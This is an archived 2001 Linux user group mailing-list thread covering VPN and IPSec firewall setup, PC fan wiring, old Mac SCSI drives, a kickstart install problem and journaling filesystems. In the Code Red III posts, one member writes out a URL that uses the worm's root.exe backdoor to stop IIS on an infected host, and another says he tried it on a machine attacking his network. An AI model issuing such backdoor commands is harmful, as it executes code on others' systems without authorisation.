[TCLUG] Linux and Sun to the rescue In-Reply-To: <3B73C0F2.3080004@mn.rr.com>; from sgrobe@mn.rr.com on Fri, Aug 10, 2001 at 06:09:38AM -0500 References: <3B73C0F2.3080004@mn.rr.com> Message-ID: <20010810101915.A11154@mudpiefoods.com> > > http://news.excite.com/news/zd/010809/10/sun-linux-offer > > One more win for Linux. And a win for people helping people. Something that $ms knows absolutely nothing about. -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From jeffr at odeon.net Fri Aug 10 10:41:26 2001 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <3B73A692.AAB94075@usfamily.net> Message-ID: The hubble has several instruments onboard that are used for making observations, but the primary device is optical. More information is available here: http://oposite.stsci.edu/pubinfo/ and more specifically here: http://www.stsci.edu/hst/ To try and keep this at least a little on-topic, you can find images taken by the HST and other sources for use as desktop backgrounds to help make X pretty at: http://www.space.com/php/multimedia/imagegallery/ Ok, not really on-topic, but I tried... Jeff On Fri, 10 Aug 2001, Andrew Nemchenko wrote: > The Hubble has nothing to do with it. Because they are not taking pictures of > the earth. If they were then they would have to be shooting the earth with the > Laser. Plus the hubble is not an optical telescope as far as I can remember. > I'll go to the Library and Will try to dig up this video tape, maybe I'll bring > it to an install fest or something. > > Scott Raun wrote: > > > On Thu, Aug 09, 2001 at 04:00:32PM +0100, Andrew Nemchenko wrote: > > > No this is completly diffent the link you sent explains that they use a > > > laser to create an artificial dot in the sky and then they measure the > > > distortion in the atmosphere and use a flexible mirror to compensate for > > > this distorion, with the compensation the stars apper more clearly. What > > > I saw was completely different, they basically used a giant green colored > > > laser to burn a hole in the atmosphere, then for a very shor amount of > > > time they were able to take pictures through that hole with no > > > distortion. These are two different thngs. > > > > I'm going to take significant convincing to believe this one - do you > > have a reference on it? The period of time that a lightning strike > > makes a vacuum is going to be roughly analogous to this - your looking > > at a tenth of a second AT MOST! And the Hubble can't get a usable > > image that fast. I find it very difficult to believe that they get > > enough light down this little narrow pipe (it can't be more than > > inches across, and you usually measure professional telescopes in > > FEET!) > > > > -- > > Scott Raun > > sraun@fireopal.org > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ > From amy at real-time.com Fri Aug 10 11:06:54 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] VPN setup question Message-ID: <20010810110654.U27457@real-time.com> Currently the network has a separate VPN router (separate from the firewall) that has 2 interfaces, one on the public network and one on the private network. I want to put the VPN router behind the firewall if possible. The documentation I read says the VPN router can either go between the Internet router and the firewall, or on the same network as the firewall. Questions: 1. Can I put the VPN router behind the linux firewall and just route VPN traffic from outside the network to the VPN router? 2. Does the VPN router need IPs on both interfaces? If so, do you set up private IPs for both interfaces and bridge between them? Basically, I'm not understanding how VPN works when you have a separate device doing the VPN rather than the firewall doing it. And I want to set this up as securely as possible. Any help is appreciated. -- Amy Tanner amy@real-time.com From dutchman at uswest.net Fri Aug 10 11:23:39 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] Electrical Question Message-ID: <3B740A8B.8020509@uswest.net> I am trying to wire a couple of 3 1/2 fans into one of my power supply connectors. Before I screw this up and blow my power supply, I wanted to ask a question: The fans have three wires: red, white, and black. The male-end connector I am splicing into is red, black, black, and orange. The proper connection would be red to red, black to black and white to orange? Thank you, -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From jspinti at dart.dartdist.com Fri Aug 10 11:39:17 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] scsi hard drives Message-ID: I am being given a few scsi 1-2 gig hard drives from old macs. They are 60 pin. The question is, are they standard scsi, or did Apple do something different/proprietary that will keep them from running on an Intel/AMD machine? Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 From ryanb at rydian.com Fri Aug 10 11:38:27 2001 From: ryanb at rydian.com (Ryan Bethke) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] Electrical Question References: <3B740A8B.8020509@uswest.net> Message-ID: <012201c121ba$e1fd1da0$0a00a8c0@wolfnetrb> The red wire on the fan runs to the orange/yellow wire from the powersupply connector (12V) or the red wire if you want to run the fan at 5V. The black goes to the black, and the white is probably for a motherboard sensor, so it should not be hooked up to anything (unless you have a motherboard with a spare fan header). Ryan ----- Original Message ----- From: "Perry Hoekstra" To: Sent: Friday, August 10, 2001 11:23 AM Subject: [TCLUG] Electrical Question > I am trying to wire a couple of 3 1/2 fans into one of my power supply > connectors. Before I screw this up and blow my power supply, I wanted > to ask a question: > > The fans have three wires: red, white, and black. The male-end > connector I am splicing into is red, black, black, and orange. The > proper connection would be red to red, black to black and white to orange? > > Thank you, > > -- > Perry Hoekstra > E-Commerce Architect > Talent Software Services > perry.hoekstra@talentemail.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 10 11:39:21 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] scsi hard drives In-Reply-To: Message-ID: On Fri, 10 Aug 2001, James Spinti wrote: > I am being given a few scsi 1-2 gig hard drives from old macs. They are 60 > pin. The question is, are they standard scsi, or did Apple do something > different/proprietary that will keep them from running on an Intel/AMD > machine? _60_ pin? All the drives I have seen coming out of macs are standard 50-pin.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From dutchman at uswest.net Fri Aug 10 11:39:34 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] Electrical Question References: <3B740A8B.8020509@uswest.net> <012201c121ba$e1fd1da0$0a00a8c0@wolfnetrb> Message-ID: <3B740E46.2080301@uswest.net> Ryan Bethke wrote: > The red wire on the fan runs to the orange/yellow wire from the powersupply > connector (12V) or the red wire if you want to run the fan at 5V. The black > goes to the black, and the white is probably for a motherboard sensor, so it > should not be hooked up to anything (unless you have a motherboard with a > spare fan header). What would be the impact of running the fans at 12V or 5V? I was going to tie both fans into a single connector. Would that drive the 12V or doesn't that matter? -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From ryanb at rydian.com Fri Aug 10 11:57:15 2001 From: ryanb at rydian.com (Ryan Bethke) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] Electrical Question References: <3B740A8B.8020509@uswest.net> <012201c121ba$e1fd1da0$0a00a8c0@wolfnetrb> <3B740E46.2080301@uswest.net> Message-ID: <013601c121bd$825441a0$0a00a8c0@wolfnetrb> Running the fans at 12 Volts is the standard way. Some people set the fans up to run at 5 Volts so that the fans will spin at a lower RPM and be a little more quiet. You shouldn't have a problem running both fans off of one connector. I actually have 5 fans off of one connector, as well as one hard drive, and have no problems. ----- Original Message ----- From: "Perry Hoekstra" To: Sent: Friday, August 10, 2001 11:39 AM Subject: Re: [TCLUG] Electrical Question > Ryan Bethke wrote: > > > The red wire on the fan runs to the orange/yellow wire from the powersupply > > connector (12V) or the red wire if you want to run the fan at 5V. The black > > goes to the black, and the white is probably for a motherboard sensor, so it > > should not be hooked up to anything (unless you have a motherboard with a > > spare fan header). > > What would be the impact of running the fans at 12V or 5V? I was going > to tie both fans into a single connector. Would that drive the 12V or > doesn't that matter? > > -- > Perry Hoekstra > E-Commerce Architect > Talent Software Services > perry.hoekstra@talentemail.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jspinti at dart.dartdist.com Fri Aug 10 12:02:30 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] scsi hard drives In-Reply-To: Message-ID: 50-60 what's the difference, the keys are right next to each other on the keyboard :) Yes, 50 pin... Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of James Spinti |Sent: Friday, August 10, 2001 11:39 AM |To: Tclug-List |Subject: [TCLUG] scsi hard drives | | |I am being given a few scsi 1-2 gig hard drives from old macs. They are 60 |pin. The question is, are they standard scsi, or did Apple do something |different/proprietary that will keep them from running on an Intel/AMD |machine? | |Thanks, | |James Spinti |jspinti at dartdist.com |952-368-3278 x396 |fax 952-368-3255 | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From barnabas at knicknack.net Fri Aug 10 12:08:26 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] RH 7.1 kickstart Message-ID: <20010810120826.B19605@knicknack.net> I'm trying to set up a RH 7.1 system using kickstart. My ks.cfg file is on a floppy disk, but I'm pulling the RPMs off the network. I believe that my network is working correctly because I get a message on virtual terminal 3 that, "reverse name lookup worked." Later on the same VT, I get the following messages: mounting nfs path server:/path/to/rpms loopfd is 10 LOOP_SET_FD failed: Bad file descriptor On VT4, I get the message: nfs warning: mount version older than kernel I have tried specifying the server both using its name and its address. The net effect of all this is that the system starts asking me for the information that I've already specified in the ks.cfg file. Anyone have any idea what might be going on? TIA, Eric From blayer at qwest.net Fri Aug 10 12:09:08 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] scsi hard drives In-Reply-To: References: Message-ID: <20010810120908.63221535.blayer@qwest.net> On Fri, 10 Aug 2001 12:02:30 -0500 "James Spinti" wrote: > 50-60 what's the difference, the keys are right next to each other on the > keyboard :) > > Yes, 50 pin... Apple did nothing strange; well, nothing too strange... The first thing you will see is that the drive has a number of odd partitions (driver, for instance) on it, which you will need to blow away with fdisk. Other than that, if the drive has the Apple logo on it, that means the drive is using the genuine Apple firmware. I've never seen a PC SCSI controller get bent out of shape about it, but many of the older Apples would not boot from a drive that was not Apple branded. Should be just fine. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From chrome at real-time.com Fri Aug 10 12:24:00 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] large file support under glibc-2.1.3? Message-ID: <20010810122400.Q12248@real-time.com> Has anyone successfully gotten large file support (LFS) working under glibc-2.1.3? if so, what did you have to do? one needs to recompile glibc, with some options and conditions set; but the doco is pretty shaky on what those are. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From simeonuj at eetc.com Fri Aug 10 12:36:57 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] The Search For A Better Filesystem. References: Message-ID: <3B741B97.F76323B3@eetc.com> Nate Carlson wrote: > > On Fri, 10 Aug 2001, Simeon Johnston wrote: > > Is this correct? If so I think I'll switch over reeeeaaaaal soon. > > I've been having a lot of power problems lately and no UPS's (don't > > bother me with crap like "you should always have a UPS" and "What the > > hell are you thinking". No UPS. Get over it. You'll be happy to know > > I do have power cleaners). > > How can you justify not having UPS's when you can get a APC Back-UPS Pro > 280 (more than enough for a personal workstation in most cases) for < > $125? Seriously, the time it takes you to manually rebuild the filesystems > after an unclean shutdown will more than cover that.. I thought it said DON'T give me crap about not having a UPS... :) We are looking into it. We have a few UPS's but not on everything (and no plan to put one on everything either). IMO the computer and OS should be made to withstand blackouts/sudden power loss, spikes etc and keep on kickin'. I don't see why I should have to buy more equipment because of half assed manufactured components. Just my view of the way thing's should be. sim From chrome at real-time.com Fri Aug 10 12:43:51 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: ; from zibby+tclug@ringworld.org on Fri, Aug 10, 2001 at 10:28:15AM -0500 References: Message-ID: <20010810124351.R12248@real-time.com> > ext3 is still a way off. I'm told 2.4.7-ac4 has ext3 support. ext3 has the advatage that (I believe) it's fairly straightforward to covert between ext2/ext3. I know you can mount ext3; with old ext2 tools (it just won't have journalling). I think it may be possible to convert ext2->ext3 without reformatting, as well. I'm certainly going to give it a try; next kernel build. :) Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From austad at marketwatch.com Fri Aug 10 12:47:53 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD68@mspexch2.office.mktw.net> > Questions: > 1. Can I put the VPN router behind the linux firewall and > just route VPN traffic from outside the network to the VPN > router? Yes. Give the VPN router a private IP on one interface and put it on the internal network. Shutdown the other interface, you don't need it anymore. Map an external ip on the firewall to the vpn router's ip on the inside. I assume the vpn router is pptp, so you need to put in rules to allow GRE packets to the vpn router (I think it's protocol type 42), and allow port 1723/tcp. It should work. Make sure you remove the the pptp.o module in the firewall if you have it, this is for outgoing connections only and may mess with your setup. If everything works, you can put it back in. If you're using IPSec, you'll need to open some other ports. Let me know if this is the case. >2. Does the VPN router need IPs on both interfaces? > If so, do you set up private IPs for both interfaces and > bridge between them? No, like I said above, just don't use the other interface, shut it down. Jay From austad at marketwatch.com Fri Aug 10 12:54:31 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD69@mspexch2.office.mktw.net> Remember, you won't be able to test this from within your network anymore since the external ip for the vpn router will reside on the firewall that your VPN test traffic will be exiting from. You'll have to use a dialup or VPN from another network outside of yours. > -----Original Message----- > From: Austad, Jay [mailto:austad@marketwatch.com] > Sent: Friday, August 10, 2001 12:48 PM > To: 'tclug-list@mn-linux.org' > Subject: RE: [TCLUG] VPN setup question > > > > Questions: > > 1. Can I put the VPN router behind the linux firewall and > > just route VPN traffic from outside the network to the VPN > > router? > > Yes. Give the VPN router a private IP on one interface and > put it on the internal network. Shutdown the other > interface, you don't need it anymore. Map an external ip on > the firewall to the vpn router's ip on the inside. I assume > the vpn router is pptp, so you need to put in rules to allow > GRE packets to the vpn router (I think it's protocol type > 42), and allow port 1723/tcp. It should work. Make sure you > remove the the pptp.o module in the firewall if you have it, > this is for outgoing connections only and may mess with your > setup. If everything works, you can put it back in. > > If you're using IPSec, you'll need to open some other ports. > Let me know if this is the case. > > > >2. Does the VPN router need IPs on both interfaces? > > If so, do you set up private IPs for both interfaces and > > bridge between them? > > No, like I said above, just don't use the other interface, > shut it down. > > Jay > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From sraun at fireopal.org Fri Aug 10 12:54:15 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <3B73A692.AAB94075@usfamily.net> References: <20010809170206.A15378@iaxs.net> <3B73A692.AAB94075@usfamily.net> Message-ID: <20010810125415.A22527@iaxs.net> The Hubble is an optical telescope in a vacuum. IT uses exposures of minutes or hours. As such, I find it hard to believe that the minute length of time a vacuum created by a laser beam (the specs of which I find impossible to believe anyway) would exist would be sufficient for an Earth-based telescope to generate a usable image. If you find the video tape, would you please post whatever reference data is avalable from it to the list (or e-mail it to me)? At the very least, the title, copyright date, and production studio? On Fri, Aug 10, 2001 at 10:17:06AM +0100, Andrew Nemchenko wrote: > The Hubble has nothing to do with it. Because they are not taking > pictures of the earth. If they were then they would have to be > shooting the earth with the Laser. Plus the hubble is not an optical > telescope as far as I can remember. I'll go to the Library and Will > try to dig up this video tape, maybe I'll bring it to an install > fest or something. > > Scott Raun wrote: > > > On Thu, Aug 09, 2001 at 04:00:32PM +0100, Andrew Nemchenko wrote: > > > No this is completly diffent the link you sent explains that they use a > > > laser to create an artificial dot in the sky and then they measure the > > > distortion in the atmosphere and use a flexible mirror to compensate for > > > this distorion, with the compensation the stars apper more clearly. What > > > I saw was completely different, they basically used a giant green colored > > > laser to burn a hole in the atmosphere, then for a very shor amount of > > > time they were able to take pictures through that hole with no > > > distortion. These are two different thngs. > > > > I'm going to take significant convincing to believe this one - do you > > have a reference on it? The period of time that a lightning strike > > makes a vacuum is going to be roughly analogous to this - your looking > > at a tenth of a second AT MOST! And the Hubble can't get a usable > > image that fast. I find it very difficult to believe that they get > > enough light down this little narrow pipe (it can't be more than > > inches across, and you usually measure professional telescopes in > > FEET!) > > > > -- > > Scott Raun > > sraun@fireopal.org > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ Content-Description: Card for Andrew Nemchenko -- Scott Raun sraun@fireopal.org From chrome at real-time.com Fri Aug 10 13:03:51 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] RH 7.1 kickstart In-Reply-To: <20010810120826.B19605@knicknack.net>; from barnabas@knicknack.net on Fri, Aug 10, 2001 at 12:08:26PM -0500 References: <20010810120826.B19605@knicknack.net> Message-ID: <20010810130351.S12248@real-time.com> > Anyone have any idea what might be going on? NFS installs are broken under RH 7.0; according to Nate here. 7.1 could be suffering the same thing. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Fri Aug 10 13:08:47 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD68@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 10, 2001 at 12:47:53PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD68@mspexch2.office.mktw.net> Message-ID: <20010810130847.T12248@real-time.com> > so you need to put in rules to allow GRE > packets to the vpn router (I think it's protocol type 42) protocol 47, actually. (I had to look it up too). :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From shane at shell.schulte.org Fri Aug 10 13:20:21 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] Code Red III Message-ID: There is a good article on the new and more powerful Code Red III on /. Check it out. ~Shane From amy at real-time.com Fri Aug 10 13:28:46 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD68@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 10, 2001 at 12:47:53PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD68@mspexch2.office.mktw.net> Message-ID: <20010810132845.V27457@real-time.com> On Fri, Aug 10, 2001 at 12:47:53PM -0500, Austad, Jay (austad@marketwatch.com) wrote: > > Questions: > > 1. Can I put the VPN router behind the linux firewall and > > just route VPN traffic from outside the network to the VPN > > router? > > Yes. Give the VPN router a private IP on one interface and put it on the > internal network. Shutdown the other interface, you don't need it anymore. > Map an external ip on the firewall to the vpn router's ip on the inside. I > assume the vpn router is pptp, so you need to put in rules to allow GRE > packets to the vpn router (I think it's protocol type 42), and allow port > 1723/tcp. It should work. Make sure you remove the the pptp.o module in > the firewall if you have it, this is for outgoing connections only and may > mess with your setup. If everything works, you can put it back in. Thank you. > If you're using IPSec, you'll need to open some other ports. Let me know if > this is the case. Yep, I'm using IPSec - looks like that requires port 500 -p 17 open, and -p 50 - according to: http://linuxdocs.org/HOWTOs/VPN-Masquerade-HOWTO-3.html > >2. Does the VPN router need IPs on both interfaces? > > If so, do you set up private IPs for both interfaces and > > bridge between them? > > No, like I said above, just don't use the other interface, shut it down. Thank you. -- Amy Tanner amy@real-time.com From amy at real-time.com Fri Aug 10 13:29:27 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD69@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 10, 2001 at 12:54:31PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD69@mspexch2.office.mktw.net> Message-ID: <20010810132927.W27457@real-time.com> On Fri, Aug 10, 2001 at 12:54:31PM -0500, Austad, Jay (austad@marketwatch.com) wrote: > Remember, you won't be able to test this from within your network anymore > since the external ip for the vpn router will reside on the firewall that > your VPN test traffic will be exiting from. You'll have to use a dialup or > VPN from another network outside of yours. Yep, I realize this. I'll try to test this today. -- Amy Tanner amy@real-time.com From natecars at real-time.com Fri Aug 10 13:36:20 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <20010810132845.V27457@real-time.com> Message-ID: On Fri, 10 Aug 2001, Amy Tanner wrote: > Yep, I'm using IPSec - looks like that requires port 500 -p 17 open, and -p > 50 - according to: > > http://linuxdocs.org/HOWTOs/VPN-Masquerade-HOWTO-3.html If you are using ESP, yeah; -p 50. If you're using AH, -p 49, IIRC.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From amy at real-time.com Fri Aug 10 13:37:20 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: ; from natecars@real-time.com on Fri, Aug 10, 2001 at 01:36:20PM -0500 References: <20010810132845.V27457@real-time.com> Message-ID: <20010810133720.X27457@real-time.com> On Fri, Aug 10, 2001 at 01:36:20PM -0500, Nate Carlson (natecars@real-time.com) wrote: > On Fri, 10 Aug 2001, Amy Tanner wrote: > > Yep, I'm using IPSec - looks like that requires port 500 -p 17 open, and -p > > 50 - according to: > > > > http://linuxdocs.org/HOWTOs/VPN-Masquerade-HOWTO-3.html > > If you are using ESP, yeah; -p 50. If you're using AH, -p 49, IIRC.. What is ESP and AH? Have a URL to point me to? -- Amy Tanner amy@real-time.com From natecars at real-time.com Fri Aug 10 13:52:05 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <20010810133720.X27457@real-time.com> Message-ID: On Fri, 10 Aug 2001, Amy Tanner wrote: > What is ESP and AH? Have a URL to point me to? AH = Authentication Header; only encrypts the authentication, not the actual data stream. You don't want this. ESP = don't remember; it encrypts everything. Basically, you should be using ESP. There's documentation for this somewhere on the freeswan web site.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From nate at techie.com Fri Aug 10 13:53:27 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: ; from zibby+tclug@ringworld.org on Fri, Aug 10, 2001 at 10:28:15AM -0500 References: Message-ID: <20010810135327.A30456@candle.mn.mediaone.net> On Fri, Aug 10, 2001 at 10:28:15AM -0500, Andy Zbikowski (Zibby) wrote: > XFS locks you into 2.4.5 right now. (SGI has only released patches for > 2.4.5, though they have Development patches for 2.4.6, 2.4.7, and > 2.4.8-pre4) This is absolutely false! XFS 1.0.1 includes a 2.4.3 kernel based on Red Hat's 7.1 2.4.3 kernel and a Linus based 2.4.5. We are also releasing patches for kernels since then and are tracking Linus' tree pretty closely. If you want to stay bleeding edge, check out the CVS tree and update that whenever you see a TAKE message on the linux-xfs mailling list. As far as stability goes, XFS is stable. The 1.0.1 release when through a full QA cycle. And for the Red Hat 7.1 users, XFS 1.0.1 has an install ISO available. Nate From bradyh at bitstream.net Fri Aug 10 13:59:12 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] Code Red III In-Reply-To: References: Message-ID: <997469952.22800.170.camel@lis.llewellyn.com> Do you mean a review? I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. If only it supported Linux. Brady > There is a good article on the new and more powerful Code Red III on /. > Check it out. > ~Shane > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From shane at shell.schulte.org Fri Aug 10 14:05:54 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] Code Red III In-Reply-To: <997469952.22800.170.camel@lis.llewellyn.com> Message-ID: lol :p On 10 Aug 2001, Brady Hegberg wrote: > Do you mean a review? > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > If only it supported Linux. > Brady > > > There is a good article on the new and more powerful Code Red III on /. > > Check it out. > > ~Shane > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Fri Aug 10 14:07:55 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD6D@mspexch2.office.mktw.net> Is it a router to router VPN, or are people connecting to it with their workstations? If it's router to router, and one is a cisco, you might have some problems getting IPSec to work correctly in a NAT environment when only one side is NAT'd. I got around this by making an unencrypted GRE tunnel between the inside edge routers on both sides, and then making the firewall do the encryption on that traffic. If it's client to vpn server, you should be fine. jay > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Friday, August 10, 2001 1:52 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] VPN setup question > > > On Fri, 10 Aug 2001, Amy Tanner wrote: > > What is ESP and AH? Have a URL to point me to? > > AH = Authentication Header; only encrypts the authentication, > not the actual data stream. You don't want this. > > ESP = don't remember; it encrypts everything. > > Basically, you should be using ESP. > > There's documentation for this somewhere on the freeswan web site.. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From doug at northlandstudios.com Fri Aug 10 14:14:43 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] Code Red III References: <997469952.22800.170.camel@lis.llewellyn.com> Message-ID: <001701c121d0$b714c370$940f3c9e@DHENRYW2P> Yeah, but Code Red 95 should be 32 bit and alot more stable ;-> ----- Original Message ----- From: "Brady Hegberg" To: Sent: Friday, August 10, 2001 1:59 PM Subject: Re: [TCLUG] Code Red III > Do you mean a review? > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > If only it supported Linux. > Brady > > > There is a good article on the new and more powerful Code Red III on /. > > Check it out. > > ~Shane > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From amy at real-time.com Fri Aug 10 14:06:47 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD6D@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 10, 2001 at 02:07:55PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD6D@mspexch2.office.mktw.net> Message-ID: <20010810140647.Z27457@real-time.com> On Fri, Aug 10, 2001 at 02:07:55PM -0500, Austad, Jay (austad@marketwatch.com) wrote: > Is it a router to router VPN, or are people connecting to it with their > workstations? Actually, I need to support both scenarios. Personal Ravlin II -> Ravlin 10/5100 Server Ravlin Software IPSec -> Ravlin 10/5100 Server. > > If it's router to router, and one is a cisco, you might have some problems > getting IPSec to work correctly in a NAT environment when only one side is > NAT'd. I got around this by making an unencrypted GRE tunnel between the > inside edge routers on both sides, and then making the firewall do the > encryption on that traffic. > > If it's client to vpn server, you should be fine. > > jay -- Amy Tanner amy@real-time.com From zibby+tclug at ringworld.org Fri Aug 10 14:20:59 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:00 2005 Subject: [TCLUG] Code Red III In-Reply-To: <001701c121d0$b714c370$940f3c9e@DHENRYW2P> Message-ID: http://infected.host/scripts/root.exe?/c+start%%20net%20stop%20InetInfo+c:\\ Blah...I know more about NT than I ever wanted to... Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From doug at northlandstudios.com Fri Aug 10 14:38:30 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III References: Message-ID: <002401c121d4$09283d60$940f3c9e@DHENRYW2P> I don't believe that works...at least it didn't on a machine hitting us I just tried it on... ----- Original Message ----- From: "Andy Zbikowski (Zibby)" To: Sent: Friday, August 10, 2001 2:20 PM Subject: Re: [TCLUG] Code Red III > http://infected.host/scripts/root.exe?/c+start%%20net%20stop%20InetInfo+c:\\ > 